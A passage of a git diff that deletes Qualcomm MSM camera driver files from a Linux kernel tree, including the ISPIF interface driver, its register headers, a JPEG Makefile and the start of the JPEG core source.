-{ - int rc = 0; - - BUG_ON(!ispif); - - if (ispif->ispif_state == ISPIF_POWER_UP) { - pr_err("%s: ispif already initted state = %d\n", __func__, - ispif->ispif_state); - rc = -EPERM; - return rc; - } - - /* can we set to zero? */ - ispif->applied_intf_cmd[VFE0].intf_cmd = 0xFFFFFFFF; - ispif->applied_intf_cmd[VFE0].intf_cmd1 = 0xFFFFFFFF; - ispif->applied_intf_cmd[VFE1].intf_cmd = 0xFFFFFFFF; - ispif->applied_intf_cmd[VFE1].intf_cmd1 = 0xFFFFFFFF; - memset(ispif->sof_count, 0, sizeof(ispif->sof_count)); - - ispif->csid_version = csid_version; - - if (ispif->csid_version >= CSID_VERSION_V30) { - if (!ispif->clk_mux_mem || !ispif->clk_mux_io) { - pr_err("%s csi clk mux mem %p io %p\n", __func__, - ispif->clk_mux_mem, ispif->clk_mux_io); - rc = -ENOMEM; - return rc; - } - ispif->clk_mux_base = ioremap(ispif->clk_mux_mem->start, - resource_size(ispif->clk_mux_mem)); - if (!ispif->clk_mux_base) { - pr_err("%s: clk_mux_mem ioremap failed\n", __func__); - rc = -ENOMEM; - return rc; - } - } - - ispif->base = ioremap(ispif->mem->start, - resource_size(ispif->mem)); - if (!ispif->base) { - rc = -ENOMEM; - pr_err("%s: nomem\n", __func__); - goto end; - } - rc = request_irq(ispif->irq->start, msm_io_ispif_irq, - IRQF_TRIGGER_RISING, "ispif", ispif); - if (rc) { - pr_err("%s: request_irq error = %d\n", __func__, rc); - goto error_irq; - } - - rc = msm_ispif_clk_ahb_enable(ispif, 1); - if (rc) { - pr_err("%s: ahb_clk enable failed", __func__); - goto error_ahb; - } - - msm_ispif_reset_hw(ispif); - - rc = msm_ispif_reset(ispif); - if (rc == 0) { - ispif->ispif_state = ISPIF_POWER_UP; - CDBG("%s: power up done\n", __func__); - goto end; - } - -error_ahb: - free_irq(ispif->irq->start, ispif); -error_irq: - iounmap(ispif->base); - -end: - return rc; -} - -static void msm_ispif_release(struct ispif_device *ispif) -{ - BUG_ON(!ispif); - - if (!ispif->base) { - pr_err("%s: ispif base is NULL\n", __func__); - return; - } - - if (ispif->ispif_state != ISPIF_POWER_UP) { - pr_err("%s: ispif invalid state %d\n", __func__, - ispif->ispif_state); - return; - } - - /* make sure no streaming going on */ - msm_ispif_reset(ispif); - - msm_ispif_clk_ahb_enable(ispif, 0); - - free_irq(ispif->irq->start, ispif); - - iounmap(ispif->base); - - iounmap(ispif->clk_mux_base); - - ispif->ispif_state = ISPIF_POWER_DOWN; -} - -static long msm_ispif_cmd(struct v4l2_subdev *sd, void *arg) -{ - long rc = 0; - struct ispif_cfg_data *pcdata = (struct ispif_cfg_data *)arg; - struct ispif_device *ispif = - (struct ispif_device *)v4l2_get_subdevdata(sd); - - BUG_ON(!sd); - BUG_ON(!pcdata); - - mutex_lock(&ispif->mutex); - switch (pcdata->cfg_type) { - case ISPIF_ENABLE_REG_DUMP: - ispif->enb_dump_reg = pcdata->reg_dump; /* save dump config */ - break; - case ISPIF_INIT: - rc = msm_ispif_init(ispif, pcdata->csid_version); - msm_ispif_io_dump_reg(ispif); - break; - case ISPIF_CFG: - rc = msm_ispif_config(ispif, &pcdata->params); - msm_ispif_io_dump_reg(ispif); - break; - case ISPIF_START_FRAME_BOUNDARY: - rc = msm_ispif_start_frame_boundary(ispif, &pcdata->params); - msm_ispif_io_dump_reg(ispif); - break; - case ISPIF_STOP_FRAME_BOUNDARY: - rc = msm_ispif_stop_frame_boundary(ispif, &pcdata->params); - msm_ispif_io_dump_reg(ispif); - break; - case ISPIF_STOP_IMMEDIATELY: - rc = msm_ispif_stop_immediately(ispif, &pcdata->params); - msm_ispif_io_dump_reg(ispif); - break; - case ISPIF_RELEASE: - msm_ispif_release(ispif); - break; - case ISPIF_SET_VFE_INFO: - rc = msm_ispif_set_vfe_info(ispif, &pcdata->vfe_info); - break; - default: - pr_err("%s: invalid cfg_type\n", __func__); - rc = -EINVAL; - break; - } - mutex_unlock(&ispif->mutex); - return rc; -} -static struct v4l2_file_operations msm_ispif_v4l2_subdev_fops; - -static long msm_ispif_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ -#ifdef CONFIG_COMPAT - void __user *up; - if (is_compat_task()) { - up = (void __user *)compat_ptr((unsigned long)arg); - arg = up; - } -#endif - - switch (cmd) { - case VIDIOC_MSM_ISPIF_CFG: - return msm_ispif_cmd(sd, arg); - case MSM_SD_SHUTDOWN: { - struct ispif_device *ispif = - (struct ispif_device *)v4l2_get_subdevdata(sd); - if (ispif && ispif->base) - msm_ispif_release(ispif); - return 0; - } - default: - pr_err_ratelimited("%s: invalid cmd 0x%x received\n", - __func__, cmd); - return -ENOIOCTLCMD; - } -} - -static long msm_ispif_subdev_do_ioctl( - struct file *file, unsigned int cmd, void *arg) -{ - struct video_device *vdev = video_devdata(file); - struct v4l2_subdev *sd = vdev_to_v4l2_subdev(vdev); - return msm_ispif_subdev_ioctl(sd, cmd, arg); -} - -static long msm_ispif_subdev_fops_ioctl(struct file *file, unsigned int cmd, - unsigned long arg) -{ - return video_usercopy(file, cmd, arg, msm_ispif_subdev_do_ioctl); -} - -static int ispif_open_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) -{ - struct ispif_device *ispif = v4l2_get_subdevdata(sd); - - mutex_lock(&ispif->mutex); - /* mem remap is done in init when the clock is on */ - ispif->open_cnt++; - mutex_unlock(&ispif->mutex); - return 0; -} - -static int ispif_close_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) -{ - int rc = 0; - struct ispif_device *ispif = v4l2_get_subdevdata(sd); - - if (!ispif) { - pr_err("%s: invalid input\n", __func__); - return -EINVAL; - } - - mutex_lock(&ispif->mutex); - if (ispif->open_cnt == 0) { - pr_err("%s: Invalid close\n", __func__); - rc = -ENODEV; - goto end; - } - ispif->open_cnt--; - if (ispif->open_cnt == 0) - msm_ispif_release(ispif); -end: - mutex_unlock(&ispif->mutex); - return rc; -} - -static struct v4l2_subdev_core_ops msm_ispif_subdev_core_ops = { - .g_chip_ident = &msm_ispif_subdev_g_chip_ident, - .ioctl = &msm_ispif_subdev_ioctl, -}; - -static const struct v4l2_subdev_ops msm_ispif_subdev_ops = { - .core = &msm_ispif_subdev_core_ops, -}; - -static const struct v4l2_subdev_internal_ops msm_ispif_internal_ops = { - .open = ispif_open_node, - .close = ispif_close_node, -}; - -static int ispif_probe(struct platform_device *pdev) -{ - int rc; - struct ispif_device *ispif; - - ispif = kzalloc(sizeof(struct ispif_device), GFP_KERNEL); - if (!ispif) { - pr_err("%s: no enough memory\n", __func__); - return -ENOMEM; - } - - if (pdev->dev.of_node) { - of_property_read_u32((&pdev->dev)->of_node, - "cell-index", &pdev->id); - rc = of_property_read_u32((&pdev->dev)->of_node, - "qcom,num-isps", &ispif->hw_num_isps); - if (rc) - /* backward compatibility */ - ispif->hw_num_isps = 1; - /* not an error condition */ - rc = 0; - } - - mutex_init(&ispif->mutex); - ispif->mem = platform_get_resource_byname(pdev, - IORESOURCE_MEM, "ispif"); - if (!ispif->mem) { - pr_err("%s: no mem resource?\n", __func__); - rc = -ENODEV; - goto error; - } - ispif->irq = platform_get_resource_byname(pdev, - IORESOURCE_IRQ, "ispif"); - if (!ispif->irq) { - pr_err("%s: no irq resource?\n", __func__); - rc = -ENODEV; - goto error; - } - ispif->io = request_mem_region(ispif->mem->start, - resource_size(ispif->mem), pdev->name); - if (!ispif->io) { - pr_err("%s: no valid mem region\n", __func__); - rc = -EBUSY; - goto error; - } - ispif->clk_mux_mem = platform_get_resource_byname(pdev, - IORESOURCE_MEM, "csi_clk_mux"); - if (ispif->clk_mux_mem) { - ispif->clk_mux_io = request_mem_region( - ispif->clk_mux_mem->start, - resource_size(ispif->clk_mux_mem), - ispif->clk_mux_mem->name); - if (!ispif->clk_mux_io) - pr_err("%s: no valid csi_mux region\n", __func__); - } - - v4l2_subdev_init(&ispif->msm_sd.sd, &msm_ispif_subdev_ops); - ispif->msm_sd.sd.internal_ops = &msm_ispif_internal_ops; - ispif->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - - snprintf(ispif->msm_sd.sd.name, - ARRAY_SIZE(ispif->msm_sd.sd.name), MSM_ISPIF_DRV_NAME); - v4l2_set_subdevdata(&ispif->msm_sd.sd, ispif); - - platform_set_drvdata(pdev, &ispif->msm_sd.sd); - - media_entity_init(&ispif->msm_sd.sd.entity, 0, NULL, 0); - ispif->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - ispif->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_ISPIF; - ispif->msm_sd.sd.entity.name = pdev->name; - ispif->msm_sd.close_seq = MSM_SD_CLOSE_1ST_CATEGORY | 0x1; - rc = msm_sd_register(&ispif->msm_sd); - if (rc) { - pr_err("%s: msm_sd_register error = %d\n", __func__, rc); - goto error; - } - msm_ispif_v4l2_subdev_fops.owner = v4l2_subdev_fops.owner; - msm_ispif_v4l2_subdev_fops.open = v4l2_subdev_fops.open; - msm_ispif_v4l2_subdev_fops.unlocked_ioctl = msm_ispif_subdev_fops_ioctl; - msm_ispif_v4l2_subdev_fops.release = v4l2_subdev_fops.release; - msm_ispif_v4l2_subdev_fops.poll = v4l2_subdev_fops.poll; -#ifdef CONFIG_COMPAT - msm_ispif_v4l2_subdev_fops.compat_ioctl32 = msm_ispif_subdev_fops_ioctl; -#endif - - ispif->pdev = pdev; - ispif->ispif_state = ISPIF_POWER_DOWN; - ispif->open_cnt = 0; - return 0; - -error: - mutex_destroy(&ispif->mutex); - kfree(ispif); - return rc; -} - -static const struct of_device_id msm_ispif_dt_match[] = { - {.compatible = "qcom,ispif"}, - {} -}; - -MODULE_DEVICE_TABLE(of, msm_ispif_dt_match); - -static struct platform_driver ispif_driver = { - .probe = ispif_probe, - .driver = { - .name = MSM_ISPIF_DRV_NAME, - .owner = THIS_MODULE, - .of_match_table = msm_ispif_dt_match, - }, -}; - -static int __init msm_ispif_init_module(void) -{ - return platform_driver_register(&ispif_driver); -} - -static void __exit msm_ispif_exit_module(void) -{ - platform_driver_unregister(&ispif_driver); -} - -module_init(msm_ispif_init_module); -module_exit(msm_ispif_exit_module); -MODULE_DESCRIPTION("MSM ISP Interface driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.h b/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.h deleted file mode 100755 index 26ceb29febb50..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.h +++ /dev/null @@ -1,69 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_ISPIF_H -#define MSM_ISPIF_H - -#include -#include -#include -#include -#include "msm_sd.h" - -#define ISPIF_CLK_INFO_MAX 16 -#define ISPIF_AHB_CLK_INFO 2 - -struct ispif_irq_status { - uint32_t ispifIrqStatus0; - uint32_t ispifIrqStatus1; - uint32_t ispifIrqStatus2; -}; - -enum msm_ispif_state_t { - ISPIF_POWER_UP, - ISPIF_POWER_DOWN, -}; -struct ispif_sof_count { - uint32_t sof_cnt[INTF_MAX]; -}; - -struct ispif_intf_cmd { - uint32_t intf_cmd; - uint32_t intf_cmd1; -}; - -struct ispif_device { - struct platform_device *pdev; - struct msm_sd_subdev msm_sd; - struct resource *mem; - struct resource *clk_mux_mem; - struct resource *irq; - struct resource *io; - struct resource *clk_mux_io; - void __iomem *base; - void __iomem *clk_mux_base; - struct mutex mutex; - uint8_t start_ack_pending; - uint32_t csid_version; - int enb_dump_reg; - uint32_t open_cnt; - struct ispif_sof_count sof_count[VFE_MAX]; - struct ispif_intf_cmd applied_intf_cmd[VFE_MAX]; - enum msm_ispif_state_t ispif_state; - struct msm_ispif_vfe_info vfe_info; - struct clk *ahb_clk[ISPIF_CLK_INFO_MAX]; - struct completion reset_complete[VFE_MAX]; - uint32_t hw_num_isps; - uint32_t num_clk; - uint32_t clk_idx; -}; -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v1.h b/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v1.h deleted file mode 100644 index 91af7cb2c4fb4..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v1.h +++ /dev/null @@ -1,115 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef __MSM_ISPIF_HWREG_V1_H__ -#define __MSM_ISPIF_HWREG_V1_H__ - -/* common registers */ -#define ISPIF_RST_CMD_ADDR 0x0000 -#define ISPIF_IRQ_GLOBAL_CLEAR_CMD_ADDR 0x0124 -#define PIX0_LINE_BUF_EN_BIT 0 - -#define ISPIF_VFE(m) (0x0) - -#define ISPIF_VFE_m_CTRL_0(m) (0x0008 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_MASK_0(m) (0x0100 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_MASK_1(m) (0x010C + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_MASK_2(m) (0x0118 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_STATUS_0(m) (0x0108 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_STATUS_1(m) (0x0114 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_STATUS_2(m) (0x0120 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_CLEAR_0(m) (0x0104 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_CLEAR_1(m) (0x0110 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_CLEAR_2(m) (0x011C + ISPIF_VFE(m)) -#define ISPIF_VFE_m_INPUT_SEL(m) (0x000C + ISPIF_VFE(m)) -#define ISPIF_VFE_m_INTF_CMD_0(m) (0x0004 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_INTF_CMD_1(m) (0x0030 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_PIX_INTF_n_CID_MASK(m, n) (0x0010 + ISPIF_VFE(m) + 4*(n)) -#define ISPIF_VFE_m_RDI_INTF_n_CID_MASK(m, n) (0x0014 + ISPIF_VFE(m) + \ - ((n > 0) ? (0x20) : 0) \ - + 8*(n)) -#define ISPIF_VFE_m_PIX_OUTPUT_n_MISR(m, n) (0x0290 + ISPIF_VFE(m) + 4*(n)) -#define ISPIF_VFE_m_RDI_OUTPUT_n_MISR_0(m, n) (0x001C + ISPIF_VFE(m) + \ - ((n > 0) ? (0x24) : 0) \ - + 0xc*(n)) -#define ISPIF_VFE_m_RDI_OUTPUT_n_MISR_1(m, n) (0x0020 + ISPIF_VFE(m) + \ - ((n > 0) ? (0x24) : 0) \ - + 0xc*(n)) -#define ISPIF_VFE_m_PIX_INTF_n_STATUS(m, n) (0x0024 + ISPIF_VFE(m) + 4*(n)) -#define ISPIF_VFE_m_RDI_INTF_n_STATUS(m, n) (0x0028 + ISPIF_VFE(m) + \ - ((n > 0) ? (0x34) : 0) \ - + 8*(n)) - -/* Defines for compatibility with newer ISPIF versions */ -#define ISPIF_RST_CMD_1_ADDR (0x0000) -#define ISPIF_VFE_m_PIX_INTF_n_CROP(m, n) (0x0000 + ISPIF_VFE(m) + 4*(n)) -#define ISPIF_VFE_m_3D_THRESHOLD(m) (0x0000 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_OUTPUT_SEL(m) (0x0000 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_3D_DESKEW_SIZE(m) (0x0000 + ISPIF_VFE(m)) - - - -/* CSID CLK MUX SEL REGISTERS */ -#define ISPIF_RDI_CLK_MUX_SEL_ADDR 0x8 - -/*ISPIF RESET BITS*/ -#define VFE_CLK_DOMAIN_RST BIT(31) -#define RDI_CLK_DOMAIN_RST BIT(30) -#define PIX_CLK_DOMAIN_RST BIT(29) -#define AHB_CLK_DOMAIN_RST BIT(28) -#define RDI_1_CLK_DOMAIN_RST BIT(27) -#define PIX_1_CLK_DOMAIN_RST BIT(26) -#define RDI_2_CLK_DOMAIN_RST BIT(25) -#define RDI_2_MISR_RST_STB BIT(20) -#define RDI_2_VFE_RST_STB BIT(19) -#define RDI_2_CSID_RST_STB BIT(18) -#define RDI_1_MISR_RST_STB BIT(14) -#define RDI_1_VFE_RST_STB BIT(13) -#define RDI_1_CSID_RST_STB BIT(12) -#define PIX_1_VFE_RST_STB BIT(10) -#define PIX_1_CSID_RST_STB BIT(9) -#define RDI_0_MISR_RST_STB BIT(8) -#define RDI_0_VFE_RST_STB BIT(7) -#define RDI_0_CSID_RST_STB BIT(6) -#define PIX_0_MISR_RST_STB BIT(5) -#define PIX_0_VFE_RST_STB BIT(4) -#define PIX_0_CSID_RST_STB BIT(3) -#define SW_REG_RST_STB BIT(2) -#define MISC_LOGIC_RST_STB BIT(1) -#define STROBED_RST_EN BIT(0) - -#define ISPIF_RST_CMD_MASK 0xFE1C77FF -#define ISPIF_RST_CMD_1_MASK 0xFFFFFFFF /* undefined */ - -/* irq_mask_0 */ -#define PIX_INTF_0_OVERFLOW_IRQ BIT(12) -#define RAW_INTF_0_OVERFLOW_IRQ BIT(25) -#define RESET_DONE_IRQ BIT(27) -/* irq_mask_1 */ -#define PIX_INTF_1_OVERFLOW_IRQ BIT(12) -#define RAW_INTF_1_OVERFLOW_IRQ BIT(25) -/* irq_mask_2 */ -#define RAW_INTF_2_OVERFLOW_IRQ BIT(12) - -#define ISPIF_IRQ_STATUS_MASK 0x0A493249 -#define ISPIF_IRQ_STATUS_1_MASK 0x02493249 -#define ISPIF_IRQ_STATUS_2_MASK 0x00001249 - -#define ISPIF_IRQ_STATUS_PIX_SOF_MASK 0x000249 -#define ISPIF_IRQ_STATUS_RDI0_SOF_MASK 0x492000 -#define ISPIF_IRQ_STATUS_RDI1_SOF_MASK 0x492000 -#define ISPIF_IRQ_STATUS_RDI2_SOF_MASK 0x000249 - -#define ISPIF_IRQ_GLOBAL_CLEAR_CMD 0x000001 - -#define ISPIF_STOP_INTF_IMMEDIATELY 0xAAAAAAAA -#endif /* __MSM_ISPIF_HWREG_V1_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v2.h b/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v2.h deleted file mode 100644 index 3cc21a7dce6db..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v2.h +++ /dev/null @@ -1,96 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef __MSM_ISPIF_HWREG_V2_H__ -#define __MSM_ISPIF_HWREG_V2_H__ - -/* common registers */ -#define ISPIF_RST_CMD_ADDR 0x008 -#define ISPIF_RST_CMD_1_ADDR 0x00C -#define ISPIF_IRQ_GLOBAL_CLEAR_CMD_ADDR 0x01C -#define PIX0_LINE_BUF_EN_BIT 6 - -#define ISPIF_VFE(m) ((m) * 0x200) - -#define ISPIF_VFE_m_CTRL_0(m) (0x200 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_MASK_0(m) (0x208 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_MASK_1(m) (0x20C + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_MASK_2(m) (0x210 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_STATUS_0(m) (0x21C + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_STATUS_1(m) (0x220 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_STATUS_2(m) (0x224 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_CLEAR_0(m) (0x230 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_CLEAR_1(m) (0x234 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_IRQ_CLEAR_2(m) (0x238 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_INPUT_SEL(m) (0x244 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_INTF_CMD_0(m) (0x248 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_INTF_CMD_1(m) (0x24C + ISPIF_VFE(m)) -#define ISPIF_VFE_m_PIX_INTF_n_CID_MASK(m, n) (0x254 + ISPIF_VFE(m) + 4*(n)) -#define ISPIF_VFE_m_RDI_INTF_n_CID_MASK(m, n) (0x264 + ISPIF_VFE(m) + 4*(n)) -#define ISPIF_VFE_m_PIX_INTF_n_CROP(m, n) (0x278 + ISPIF_VFE(m) + 4*(n)) -#define ISPIF_VFE_m_3D_THRESHOLD(m) (0x288 + ISPIF_VFE(m)) -#define ISPIF_VFE_m_OUTPUT_SEL(m) (0x28C + ISPIF_VFE(m)) -#define ISPIF_VFE_m_PIX_OUTPUT_n_MISR(m, n) (0x290 + ISPIF_VFE(m) + 4*(n)) -#define ISPIF_VFE_m_RDI_OUTPUT_n_MISR_0(m, n) (0x298 + ISPIF_VFE(m) + 8*(n)) -#define ISPIF_VFE_m_RDI_OUTPUT_n_MISR_1(m, n) (0x29C + ISPIF_VFE(m) + 8*(n)) -#define ISPIF_VFE_m_PIX_INTF_n_STATUS(m, n) (0x2C0 + ISPIF_VFE(m) + 4*(n)) -#define ISPIF_VFE_m_RDI_INTF_n_STATUS(m, n) (0x2D0 + ISPIF_VFE(m) + 4*(n)) -#define ISPIF_VFE_m_3D_DESKEW_SIZE(m) (0x2E4 + ISPIF_VFE(m)) - -/* CSID CLK MUX SEL REGISTERS */ -#define ISPIF_RDI_CLK_MUX_SEL_ADDR 0x8 - -/*ISPIF RESET BITS*/ -#define VFE_CLK_DOMAIN_RST BIT(31) -#define PIX_1_CLK_DOMAIN_RST BIT(30) -#define PIX_CLK_DOMAIN_RST BIT(29) -#define RDI_2_CLK_DOMAIN_RST BIT(28) -#define RDI_1_CLK_DOMAIN_RST BIT(27) -#define RDI_CLK_DOMAIN_RST BIT(26) -#define AHB_CLK_DOMAIN_RST BIT(25) -#define RDI_2_VFE_RST_STB BIT(12) -#define RDI_2_CSID_RST_STB BIT(11) -#define RDI_1_VFE_RST_STB BIT(10) -#define RDI_1_CSID_RST_STB BIT(9) -#define RDI_0_VFE_RST_STB BIT(8) -#define RDI_0_CSID_RST_STB BIT(7) -#define PIX_1_VFE_RST_STB BIT(6) -#define PIX_1_CSID_RST_STB BIT(5) -#define PIX_0_VFE_RST_STB BIT(4) -#define PIX_0_CSID_RST_STB BIT(3) -#define SW_REG_RST_STB BIT(2) -#define MISC_LOGIC_RST_STB BIT(1) -#define STROBED_RST_EN BIT(0) - -#define ISPIF_RST_CMD_MASK 0xFE0F1FFF -#define ISPIF_RST_CMD_1_MASK 0xFC0F1FF9 - -#define PIX_INTF_0_OVERFLOW_IRQ BIT(12) -#define RAW_INTF_0_OVERFLOW_IRQ BIT(25) -#define RAW_INTF_1_OVERFLOW_IRQ BIT(25) -#define RAW_INTF_2_OVERFLOW_IRQ BIT(12) -#define RESET_DONE_IRQ BIT(27) - -#define ISPIF_IRQ_STATUS_MASK 0x0A493249 -#define ISPIF_IRQ_STATUS_1_MASK 0x02493249 -#define ISPIF_IRQ_STATUS_2_MASK 0x00001249 - -#define ISPIF_IRQ_STATUS_PIX_SOF_MASK 0x249 -#define ISPIF_IRQ_STATUS_RDI0_SOF_MASK 0x492000 -#define ISPIF_IRQ_STATUS_RDI1_SOF_MASK 0x492000 -#define ISPIF_IRQ_STATUS_RDI2_SOF_MASK 0x249 - -#define ISPIF_IRQ_GLOBAL_CLEAR_CMD 0x1 - -#define ISPIF_STOP_INTF_IMMEDIATELY 0xAAAAAAAA - -#endif /* __MSM_ISPIF_HWREG_V2_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/Makefile deleted file mode 100644 index 84082c95b0716..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/Makefile +++ /dev/null @@ -1,6 +0,0 @@ -GCC_VERSION := $(shell $(CONFIG_SHELL) $(PWD)/scripts/gcc-version.sh $(CROSS_COMPILE)gcc) - -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/jpeg_10 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io - -obj-$(CONFIG_MSMB_JPEG) += msm_jpeg_dev.o msm_jpeg_sync.o msm_jpeg_core.o msm_jpeg_hw.o msm_jpeg_platform.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_common.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_common.h deleted file mode 100644 index 634becafc5756..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_common.h +++ /dev/null @@ -1,39 +0,0 @@ -/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_JPEG_COMMON_H -#define MSM_JPEG_COMMON_H - -#ifdef MSM_JPEG_DEBUG -#define JPEG_DBG(fmt, args...) pr_info(fmt, ##args) -#else -#define JPEG_DBG(fmt, args...) do { } while (0) -#endif - -#define JPEG_PR_ERR pr_err -#define JPEG_DBG_HIGH pr_debug - -enum JPEG_MODE { - JPEG_MODE_DISABLE, - JPEG_MODE_OFFLINE, - JPEG_MODE_REALTIME, - JPEG_MODE_REALTIME_ROTATION -}; - -enum JPEG_ROTATION { - JPEG_ROTATION_0, - JPEG_ROTATION_90, - JPEG_ROTATION_180, - JPEG_ROTATION_270 -}; - -#endif /* MSM_JPEG_COMMON_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.c b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.c deleted file mode 100644 index 52011346fb80c..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.c +++ /dev/null @@ -1,284 +0,0 @@ -/* Copyright (c) 2012-2013,The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include "msm_jpeg_hw.h" -#include "msm_jpeg_core.h" -#include "msm_jpeg_platform.h" -#include "msm_jpeg_common.h" - -int msm_jpeg_core_reset(struct msm_jpeg_device *pgmn_dev, uint8_t op_mode, - void *base, int size) { - unsigned long flags; - int rc = 0; - int tm = 500; /*500ms*/ - JPEG_DBG("%s:%d] reset", __func__, __LINE__); - memset(&pgmn_dev->fe_pingpong_buf, 0, - sizeof(pgmn_dev->fe_pingpong_buf)); - pgmn_dev->fe_pingpong_buf.is_fe = 1; - memset(&pgmn_dev->we_pingpong_buf, 0, - sizeof(pgmn_dev->we_pingpong_buf)); - spin_lock_irqsave(&pgmn_dev->reset_lock, flags); - pgmn_dev->reset_done_ack = 0; - msm_jpeg_hw_reset(base, size); - spin_unlock_irqrestore(&pgmn_dev->reset_lock, flags); - rc = wait_event_interruptible_timeout( - pgmn_dev->reset_wait, - pgmn_dev->reset_done_ack, - msecs_to_jiffies(tm)); - - if (!pgmn_dev->reset_done_ack) { - JPEG_DBG("%s: reset ACK failed %d", __func__, rc); - return -EBUSY; - } - - JPEG_DBG("%s: reset_done_ack rc %d", __func__, rc); - spin_lock_irqsave(&pgmn_dev->reset_lock, flags); - pgmn_dev->reset_done_ack = 0; - pgmn_dev->state = MSM_JPEG_RESET; - spin_unlock_irqrestore(&pgmn_dev->reset_lock, flags); - - return 0; -} - -void msm_jpeg_core_release(struct msm_jpeg_device *pgmn_dev, - int domain_num) { - int i = 0; - for (i = 0; i < 2; i++) { - if (pgmn_dev->we_pingpong_buf.buf_status[i] && - pgmn_dev->release_buf) - msm_jpeg_platform_p2v(pgmn_dev, - pgmn_dev->we_pingpong_buf.buf[i].file, - &pgmn_dev->we_pingpong_buf.buf[i].handle, - domain_num); - pgmn_dev->we_pingpong_buf.buf_status[i] = 0; - } -} - -void msm_jpeg_core_init(struct msm_jpeg_device *pgmn_dev) -{ - 